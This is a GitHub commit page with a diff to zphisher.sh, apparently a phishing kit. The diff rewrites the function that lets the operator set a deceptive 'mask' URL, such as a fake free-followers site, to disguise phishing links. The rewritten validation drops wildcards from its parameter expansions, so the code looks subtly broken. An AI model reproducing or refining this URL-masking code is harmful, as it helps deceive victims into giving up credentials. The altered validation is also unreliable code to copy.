Skip to content

Commit

Permalink
Update zphisher.sh
Browse files Browse the repository at this point in the history
  • Loading branch information
dracksters authored Jun 12, 2024
1 parent 9e93b0f commit 0438d8a
Showing 1 changed file with 13 additions and 13 deletions.
26 changes: 13 additions & 13 deletions zphisher.sh
Original file line number Diff line number Diff line change
Expand Up @@ -546,19 +546,19 @@ tunnel_menu() {

## Custom Mask URL
custom_mask() {
{ sleep .5; clear; banner_small; echo; }
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op
echo
if [[ ${mask_op,,} == "y" ]]; then
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n"
read -e -p "${WHITE} ==> ${ORANGE}" -i "https://" mask_url # initial text requires Bash 4+
if [[ ${mask_url//:*} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http*//} =~ ^[^,~!@%:\=\#\;\^\*\"\'\|\?+\<\>\(\{\)\}\\/]+$ ]]; then
mask=$mask_url
echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask"
else
echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid url type..Using the Default one.."
fi
fi
{ sleep .5; clear; banner_small; echo; }
read -n1 -p "${RED}[${WHITE}?${RED}]${ORANGE} Do you want to change Mask URL? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}] :${ORANGE} " mask_op
echo
if [[ $(echo "$mask_op" | tr '[:upper:]' '[:lower:]') == "y" ]]; then
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Enter your custom URL below ${CYAN}(${ORANGE}Example: https://get-free-followers.com${CYAN})\n"
read -e -p "${WHITE} ==> ${ORANGE}" -i https:// mask_url
if [[ ${mask_url//:} =~ ^([h][t][t][p][s]?)$ || ${mask_url::3} == "www" ]] && [[ ${mask_url#http//} =~ ^[^,~!@%:\=\#\;\^\*\"\'\|\?+\<\>\(\{\)\}\\/]+$ ]]; then
mask=$mask_url
echo -e "\n${RED}[${WHITE}-${RED}]${CYAN} Using custom Masked Url :${GREEN} $mask"
else
echo -e "\n${RED}[${WHITE}!${RED}]${ORANGE} Invalid URL type.. Using the default one.."
fi
fi
}

## URL Shortner
Expand Down

0 comments on commit 0438d8a

Please sign in to comment.